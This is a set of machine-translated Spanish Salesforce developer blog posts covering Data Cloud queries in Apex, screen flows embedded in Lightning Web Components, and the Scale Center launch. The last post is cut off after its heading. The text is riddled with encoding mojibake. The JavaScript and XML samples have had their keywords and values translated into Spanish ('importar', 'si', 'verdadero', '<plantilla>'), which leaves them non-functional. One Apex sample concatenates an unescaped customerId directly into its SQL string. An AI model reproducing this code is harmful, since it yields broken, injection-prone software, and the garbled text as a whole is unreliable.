Salesforce Data Cloud tiene un modelo de datos can贸nico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de c贸mo estos objetos se asignan entre s铆 y sus prop贸sitos en la documentaci贸n de ayuda.

Los objetos de Data Cloud pueden ingerir y almacenar vol煤menes de datos mucho m谩s grandes (en la magnitud de miles de millones de registros) en comparaci贸n con los objetos est谩ndar y personalizados regulares en la Plataforma de Salesforce. Los objetos est谩ndar/personalizados est谩n dise帽ados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .

Otra distinci贸n clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, a煤n puede lograr la automatizaci贸n de procesos suscribi茅ndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es com煤n entre los objetos de la nube de datos y los objetos de la plataforma es que est谩n construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de caracter铆sticas de la plataforma, como Salesforce Flow, Apex y Platform Events.

C贸mo consultar datos de Data Cloud en Apex

Antes de profundizar en alg煤n c贸digo, exploremos un ejemplo de caso de uso de una aplicaci贸n de nube de datos.

Ejemplo de caso de uso y supuestos

Para nuestros ejemplos de c贸digo en esta publicaci贸n de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar an谩lisis, utilizar t茅cnicas de aprendizaje autom谩tico y obtener informaci贸n procesable de los datos.

El c贸digo de Apex en esta publicaci贸n asume una condici贸n importante: la nube de datos est谩 habilitada y el c贸digo de Apex se ejecuta en la organizaci贸n de la nube de datos y no en las organizaciones de Salesforce que est谩n conectadas a la organizaci贸n de la nube de datos.

Consultar datos de Data Cloud usando SQL

Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery (ver documentos ) en Apex. Esta clase est谩 disponible en el espacio de nombres ConnectApi (ver documentos ).

A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo acceder a los datos de un objeto de nube de datos mediante una instrucci贸n SQL.

<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = ” + customerId + ” ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } “>

En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una p谩gina Lightning de caso de objeto est谩ndar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.

Aspectos destacados del c贸digo

  • El m茅todo toma un par谩metro customerId , lo que indica que recupera los datos del panel solar para un cliente espec铆fico
  • Se crea una instancia de ConnectApi.CdpQueryInput llamada queryInput para definir la operaci贸n de consulta.
  • La propiedad queryInput.sql se establece con una consulta SQL que selecciona todos los campos del objeto de datos Solar_Panel_Events_solar_panel_F4C03__dlm , filtrado por CustomerId__c
  • La consulta se ejecuta mediante ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput) , que devuelve un objeto ConnectApi.CdpQueryOutputV2 denominado response
  • El response.metadata se asigna a responseMetadata , que almacena los metadatos de la respuesta de la consulta.

Consideraciones importantes

  • Apex tiene un l铆mite de CPU de 10 segundos para transacciones sincr贸nicas. Data Cloud puede contener miles de millones de filas de datos. Al recuperar datos en Apex desde Data Cloud, aseg煤rese de agregar suficientes filtros y proporcionar contexto (como el recordId con el que est谩 trabajando) para limitar la cantidad de filas y evitar alcanzar el l铆mite de CPU de 10 segundos.
  • Si est谩 recuperando una gran cantidad de datos, use Queueable Apex para ejecutar el proceso de forma asincr贸nica y aproveche el l铆mite de CPU de 60 segundos.
  • Recomendamos usar queryAnsiSqlV2 (consulte los documentos ) en lugar de queryAnsiSql para aprovechar las solicitudes posteriores y los tama帽os de respuesta m谩s grandes para casos de uso en los que necesita extraer grandes vol煤menes de datos.
  • Use nextBatchAnsiSqlV2(nextBatchId) (ver documentos ) para proporcionar batchId de la respuesta anterior para recuperar el siguiente conjunto de resultados.
  • Tambi茅n puede usar SOQL en lugar de SQL, pero aseg煤rese de obtener su SOQL usando el Explorador de datos , ya que hay funciones de SOQL que pueden no ser aplicables a los objetos de Data Cloud.

C贸mo buscar informaci贸n de perfil

Antes de analizar c贸mo buscar informaci贸n de perfil de Data Cloud en Apex, debemos comprender qu茅 es un perfil unificado.

Perfil unificado y resoluci贸n de identidad

Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene informaci贸n diferente sobre ella, como diferentes direcciones de correo electr贸nico. Estos datos 煤nicos se denominan puntos de contacto . Los clientes como Martha est谩n representados por m煤ltiples registros de contacto y perfiles espec铆ficos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.

Data Cloud proporciona una funci贸n de resoluci贸n de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentaci贸n y activaciones en varios otros sistemas.

Buscar informaci贸n de perfil de Data Cloud

A continuaci贸n se muestra un c贸digo Apex de utilidad de ejemplo que busca informaci贸n de perfil. Tenga en cuenta que se utiliza el m茅todo queryProfileApi de la clase ConnectApi.CdpQuery .

<dx-code-block title language="apex" code-block=" @AuraEnabled public static List getProfileData( String dataModelName, String childDataModelName, String searchKey, String customerName ) { ConnectApi.CdpQueryOutput response = ConnectApi.CdpQuery.queryProfileApi( dataModelName, // Name of the data model object, for example, UnifiedIndividual__dlm customerName, // Value of the primary or secondary key field, for example, John. If unspecified, defaults to the value of the primary key field. childDataModelName, // Name of the child data model object, for example, UnifiedContactPointEmail__dlm. searchKey, // If a field other than the primary key is used, name of the key field, for example, FirstName__c null, // Comma-separated list of equality expressions within square brackets null, // Comma-separated list of child object field names that you want to include in the result 100, // Number of items to return. null, // Number of rows to skip before returning results. null // Sort order for the result set, ); return response.data; } “>

Aqu铆 hay un fragmento de c贸digo de ejemplo que invoca el c贸digo de utilidad anterior al pasar los par谩metros.

<dx-code-block title language="apex" code-block=" List response = DataCloudUtils.getProfileData( ‘UnifiedIndividual__dlm’, ‘UnifiedContactPointEmail__dlm’, ‘ssot__FirstName__c’, ‘Martha’ ); “>

El c贸digo busca la informaci贸n de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm .

Aspectos destacados del c贸digo

  • El m茅todo utiliza ConnectApi.CdpQuery.queryProfileApi() para ejecutar la consulta de datos de perfil en la nube de datos
  • Los par谩metros de consulta incluyen los nombres del objeto del modelo de datos ( dataModelName ), el objeto del modelo de datos secundario ( childDataModelName ), el campo de clave de b煤squeda ( searchKey ) y el nombre del cliente ( customerName )
  • Se pueden proporcionar par谩metros opcionales adicionales, como expresiones de igualdad, nombres de campos de objetos secundarios, la cantidad de elementos para devolver, la cantidad de filas para omitir y el orden de clasificaci贸n para el conjunto de resultados.
  • La respuesta de la consulta se almacena en un objeto ConnectApi.CdpQueryOutput llamado response
  • El m茅todo devuelve response.data , que representa los datos recuperados de la consulta

Importante consideraci贸n

  • Vuelva a verificar los nombres de campo y objeto antes de usarlos en el c贸digo de Apex, ya que, de lo contrario, el m茅todo puede generar excepciones y errores internos del servidor.

驴C贸mo consultar datos de conocimientos calculados?

Los conocimientos calculados le permiten definir y calcular m茅tricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera informaci贸n calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.

Streaming vs insights calculados

Hay dos tipos de informaci贸n en Data Cloud: transmisi贸n e informaci贸n calculada.

Los conocimientos calculados son funciones que pueden calcular m茅tricas en datos hist贸ricos. Se procesan en lotes. Por ejemplo, en nuestra aplicaci贸n Solar Circles, podemos tener una visi贸n calculada que mide la potencia total generada por los paneles agrupados por cada cliente.

La informaci贸n de transmisi贸n se genera casi en tiempo real mediante el an谩lisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activaci贸n inmediata de acciones en los sistemas posteriores. Por ejemplo, la informaci贸n de transmisi贸n se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia m铆nima. Al aprovechar una acci贸n de datos en la transmisi贸n de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.

Consultar datos a partir de una perspectiva calculada

Para consultar datos de las perspectivas calculadas, use el m茅todo queryCalculatedInsights de la clase CdpQuery . A continuaci贸n se muestra un fragmento de c贸digo de ejemplo que muestra c贸mo consultar datos de una perspectiva calculada conocida.

Aspectos destacados del c贸digo

  • El m茅todo queryCalculatedInsights de ConnectApi.CdpQuery se usa para recuperar informaci贸n calculada de Data Cloud.
  • El primer par谩metro es el nombre de API de la informaci贸n calculada, que debe terminar con __cio . Por ejemplo, <calculted insight api name> podr铆a reemplazarse por totalpowergenerated__cio .
  • Los siguientes par谩metros especifican dimensiones y medidas. Una dimensi贸n representa un campo o atributo en el que se basa la informaci贸n, mientras que una medida representa la m茅trica calculada. Proporcionar null para estos par谩metros incluye todas las dimensiones y medidas disponibles.
  • Se puede especificar el orden de clasificaci贸n para el conjunto de resultados, pero en este fragmento de c贸digo, se establece en null .
  • Los par谩metros opcionales adicionales incluyen filtrar el conjunto de resultados a un 谩mbito o tipo m谩s espec铆fico y especificar la cantidad de elementos que se devolver谩n y la cantidad de filas que se omitir谩n antes de devolver los resultados.
  • Los datos resultantes se almacenan en un objeto ConnectApi.CdpQueryOutput denominado response .

Importante consideraci贸n

  • Aseg煤rese de proporcionar el nombre de API correcto para la informaci贸n. Un nombre de API incorrecto da como resultado un error del sistema.

Conclusi贸n

En esta publicaci贸n de blog, brindamos una descripci贸n general de c贸mo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de c贸digo y los puntos destacados demuestran enfoques pr谩cticos para acceder y consultar datos de objetos de Data Cloud.

La publicaci贸n tambi茅n destaca las mejores pr谩cticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los l铆mites de la CPU, utilizar el procesamiento asincr贸nico para grandes conjuntos de datos y garantizar la denominaci贸n correcta de la API para los conocimientos calculados.

En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight (consulte los documentos ), CdpIdentityResolution (consulte los documentos ) y CdpSegment (consulte los documentos ) que se pueden usar para administrar informaci贸n calculada, crear reglas de resoluci贸n de identidad y segmentaci贸n en Data Cloud mediante Apex.

Referencias adicionales

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma de Salesforce. Actualmente se est谩 enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de su Twitter @msrivastav13 .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Incrustar flujos de pantalla en el componente web Lightning

Incrustar flujos de pantalla en el componente web Lightning

脷ltima actualizaci贸n el 19 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo incrusta un flujo de pantalla dentro de un componente web Lightning?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Incruste el flujo de pantalla dentro de un componente web Lightning
  • Aplicar representaci贸n condicional en el componente web Lightning
  • Use uiRecordApi para obtener el valor del campo del registro sin usar la clase de Apex
  • y mucho m谩s

En el pasado, escrib铆 algunos art铆culos sobre Lightning Web Component . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Pasar datos del componente web Lightning al flujo de pantalla
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:

  1. Deber铆a mostrar un flujo de pantalla llamado 'parterFlow' cuando el tipo de cuenta es 'Socio tecnol贸gico'.
  2. Deber铆a presentar un flujo de pantalla llamado 'customerFlow' cuando el tipo de cuenta es 'Cliente – Directo'.
  3. El componente LWC debe dise帽arse con la capacidad de incorporarse en la p谩gina de registro de rayos de la cuenta.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegaci贸n (Atr谩s, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.

Tambi茅n usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir c贸digo Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del dise帽o, crear, eliminar o actualizar un registro, etc. Estos son algunos de los m茅todos clave proporcionados por uiRecordApi :

  1. getRecord : este m茅todo le permite obtener datos de registro.
  2. getRecordCreateDefaults : este m茅todo proporciona los valores predeterminados que utiliza Salesforce al crear un nuevo registro.
  3. getRecordUi : obtiene los detalles de dise帽o de un registro, como qu茅 campos se muestran, c贸mo se muestran, etc.
  4. createRecord : este m茅todo le permite crear un nuevo registro.
  5. deleteRecord 鈥 Le permite eliminar un registro.
  6. updateRecord : te permite actualizar un registro existente.

En el archivo de configuraci贸n XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminaci贸n se use en una p谩gina de registro en Lightning App Builder.

Pr谩ctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un ScreenFlow (customerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  2. Cree un ScreenFlow (partnerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  3. Cree un componente web rel谩mpago para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Paso 1.1: Definir propiedades de flujo (customerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 1.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 1.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : customerFlow {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 2.1: Definir propiedades de flujo (partnerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 2.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 2.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : flujo de socio { !$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 3: cree un componente web Lightning para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciar谩 y mostrar谩 el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").

embedFlowToLWC.html

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el c贸digo:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • <template if:true={isPartner}> y <template if:true={isCustomer}> : estas son plantillas condicionales que muestran contenido en funci贸n de la veracidad de las propiedades isPartner e isCustomer , respectivamente. El contenido dentro de estas plantillas solo se representar谩 si la condici贸n correspondiente es verdadera.

<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="est谩ndar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-rel谩mpago> </div>
</plantilla>
embedFlowToLWC.js

Este c贸digo JavaScript de muestra usa el decorador @api para crear propiedades p煤blicas. Por ejemplo, recordId es una propiedad reactiva p煤blica que contiene el ID de la p谩gina de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una funci贸n del m贸dulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.

  • Las declaraciones de importaci贸n se utilizan para importar los m贸dulos y las dependencias necesarios. LightningElement es el componente b谩sico para crear componentes web Lightning.
  • account({ error, data }) es una funci贸n que maneja la respuesta de la llamada getRecord . Si hay un error, asigna el error a this.error . Si se devuelven datos, establece this.accountName en el nombre de la cuenta y establece isPartner o isCustomer en verdadero seg煤n el tipo de cuenta.
  • get inputVariables() es un m茅todo captador que devuelve una matriz de objetos, que representa variables de entrada para un flujo. En este caso, devuelve el nombre de la cuenta.

import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } m谩s si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnol贸gico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acci贸n despu茅s de que un flujo haya terminado } }
}
embedFlowToLWC.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente est茅 disponible para su uso en herramientas como Lightning App Builder o Flow Builder.

El elemento de objetivos se usa para especificar d贸nde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente est谩 dise帽ado para usarse en una p谩gina de registro en Lightning App Builder.



<?versi贸n xml=鈥1.0鈥 codificaci贸n=鈥漊TF-8鈥?>
<LightningComponentBundle xmlns=鈥漢ttp://soap.sforce.com/2006/04/metadata鈥>
<apiVersion>58.0</apiVersion>
<isExposed>verdadero</isExposed>
<target>rel谩mpago__RecordPage</target>
</objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Salesforce Scale Center est谩 generalmente disponible 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Salesforce Scale Center est谩 generalmente disponible | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Estamos encantados de anunciar la disponibilidad general de Scale Center , una potente aplicaci贸n dise帽ada para ayudar a nuestros clientes a optimizar sus implementaciones de Salesforce con informaci贸n mejorada sobre rendimiento y escalabilidad. Scale Center revoluciona la forma en que los equipos abordan el desarrollo, las pruebas y el monitoreo al proporcionar acceso de autoservicio y casi en tiempo real a las m茅tricas de rendimiento de la organizaci贸n y a los conocimientos pr谩cticos.

En esta publicaci贸n, escuchar谩 c贸mo Salesforce Scale Center ayuda a los ingenieros, arquitectos, desarrolladores y administradores de rendimiento a evaluar y resolver de manera proactiva los problemas de rendimiento en sus implementaciones de Salesforce, lo que permite a las empresas escalar con confianza.

La importancia de construir a escala

Escalar de manera eficiente es un aspecto cr铆tico del dise帽o e implementaci贸n de aplicaciones en la plataforma Salesforce. Muchos clientes solo se dan cuenta de los problemas de escalabilidad una vez que los usuarios finales comienzan a informar un rendimiento y usabilidad degradados; en este punto, estos problemas ya han afectado el negocio. Dise帽ar para el futuro y predecir y simular el tr谩fico comercial futuro puede ser un desaf铆o. Si bien algunos errores pueden detectarse durante la fase de dise帽o, la mayor铆a de los errores ocurren solo durante el tiempo de ejecuci贸n en producci贸n y, a veces, se manifiestan durante las cargas m谩ximas.

Salesforce Scale Center proporciona la visibilidad necesaria de las m茅tricas de rendimiento necesarias para aislar los puntos cr铆ticos y la capacidad de profundizar en estos puntos cr铆ticos para el an谩lisis de la causa ra铆z y la gu铆a de remediaci贸n. Con Salesforce Scale Center, ahora puede abordar la escalabilidad de la aplicaci贸n de manera proactiva en lugar de reactivamente, asegurando soluciones m谩s disponibles, receptivas y de rendimiento para su usuario final.

Obtenga una visi贸n completa de sus m茅tricas de rendimiento

Salesforce Scale Center permite a los clientes ver una instant谩nea de las m茅tricas de rendimiento de su organizaci贸n durante un intervalo de tiempo definido. A los clientes se les proporciona un panel 煤nico de visualizaci贸n de errores comunes, incluidos inicios de sesi贸n fallidos, errores de Apex simult谩neos y errores de Rowlock. Adem谩s, los clientes pueden ver las m茅tricas clave visualizadas en un gr谩fico durante la duraci贸n del intervalo de tiempo, incluido el tiempo de solicitud promedio, el tiempo de CPU de la base de datos y los errores totales. Con esta vista, los clientes pueden identificar r谩pidamente puntos cr铆ticos de rendimiento y escala.

Llevar a cabo un an谩lisis profundo de un problema de rendimiento

Caso de uso: optimizaci贸n del rendimiento de la base de datos

Salesforce Scale Center no se detiene simplemente en la visibilidad. Una vez que se observan puntos cr铆ticos, problemas y picos dentro de las m茅tricas de rendimiento, los clientes pueden investigar los componentes y sistemas que est谩n causando el problema.

Echemos un vistazo a nuestro primer caso de uso: optimizar el rendimiento de la base de datos. Imagine un escenario en el que los usuarios finales informen que el proceso de registro de su aplicaci贸n lleva mucho tiempo y falla con frecuencia. A continuaci贸n, explicaremos c贸mo puede abordar este problema utilizando Salesforce Scale Center.

  1. Navegue hasta el gr谩fico de CPU de la base de datos .

2. En el gr谩fico, haga clic y arrastre para resaltar los picos en las m茅tricas de rendimiento.

3. Seleccione el tipo de informe e inicie un an谩lisis de la base de datos.

4. Cambie a la pesta帽a An谩lisis de rendimiento para ver el informe generado.

5. Dentro del informe, puede identificar las principales consultas SOQL por tiempo de CPU de base de datos y procesos DML para solucionar qu茅 acciones espec铆ficas est谩n provocando una mala experiencia del usuario final.

Los tipos de informes disponibles en Salesforce Scale Center incluyen: Resumen de Apex, Apex concurrente, Rendimiento de base de datos, Rendimiento de flujo, L铆mites reguladores, Vistas de lista e informes, Rendimiento de integraciones y Bloqueo de fila. Adicionalmente, existe un informe consolidado que engloba todos los an谩lisis.

Al seguir estos pasos y aprovechar el poder de Salesforce Scale Center, los desarrolladores pueden abordar los cuellos de botella en el rendimiento y optimizar los procesos para mejorar la eficiencia.

Comparar el rendimiento en diferentes per铆odos de tiempo

Salesforce Scale Center permite a los clientes comparar las m茅tricas de rendimiento de la organizaci贸n en diferentes per铆odos de tiempo. Los casos de uso clave incluyen:

  • Preparaci贸n para la implementaci贸n de producci贸n:
    • Realice pruebas de rendimiento en un entorno de espacio aislado
    • Analice los resultados de las pruebas en Scale Center para identificar cuellos de botella o problemas de rendimiento antes de implementarlos en producci贸n
  • Evaluaci贸n del impacto posterior a la implementaci贸n:
    • Despu茅s de un lanzamiento importante o una implementaci贸n de funciones en producci贸n, aproveche Scale Center para comparar las m茅tricas de la organizaci贸n antes y despu茅s de la implementaci贸n.
    • Determinar si la implementaci贸n ha tenido alg煤n impacto negativo en el desempe帽o general de la organizaci贸n.
  • An谩lisis del rendimiento durante los d铆as pico:
    • Utilice la funci贸n de comparaci贸n de Scale Center para evaluar el impacto en el rendimiento de la organizaci贸n durante los d铆as pico.
    • Compare las m茅tricas de tr谩fico y rendimiento con el comportamiento de referencia, lo que ayuda a identificar cualquier cambio o problema potencial.

C贸mo comparar per铆odos de tiempo en Salesforce Scale Center

  1. Proporcione un rango de tiempo base y un rango de tiempo de comparaci贸n.

2. Compare las m茅tricas de primera l铆nea.

3. Compare los gr谩ficos de rendimiento de la organizaci贸n.

Al aprovechar la funci贸n de comparaci贸n de Scale Center, los desarrolladores pueden obtener informaci贸n valiosa sobre el rendimiento de la organizaci贸n, identificar 谩reas de optimizaci贸n y garantizar un proceso de implementaci贸n fluido y eficiente.

Comience con Salesforce Scale Center

Scale Center es de uso gratuito y est谩 disponible en todas las organizaciones de sandbox de copia completa y de producci贸n de UE.

Consideraciones del producto:

  • Scale Center no tiene impacto en el rendimiento de la organizaci贸n y no accede a los datos de su organizaci贸n
  • Tenga en cuenta que Scale Center no es compatible con Government Cloud Plus
  • Si desea que Scale Center est茅 habilitado en una organizaci贸n fuera de UE, comun铆quese con su representante de cuenta

Para acceder al Centro de escala:

  1. Navegue a Configuraci贸n.
  2. Ingrese "Centro de escala" en el cuadro B煤squeda r谩pida y haga clic en la pesta帽a Rendimiento de la organizaci贸n en la hoja Rendimiento.
  3. Habilite Scale Center para su organizaci贸n activando la opci贸n Habilitar Scale Center .

Tenga en cuenta que las m茅tricas de rendimiento pueden tardar hasta dos horas en aparecer despu茅s de habilitar Scale Center.

M谩s recursos

Sobre el Autor

Justin Saintil es Gerente de Producto Asociado en Salesforce y trabaja en la Cartera de Productos de Escalabilidad.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Pasar datos del componente web Lightning al flujo de pantalla

Pasar datos del componente web Lightning al flujo de pantalla

脷ltima actualizaci贸n el 17 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

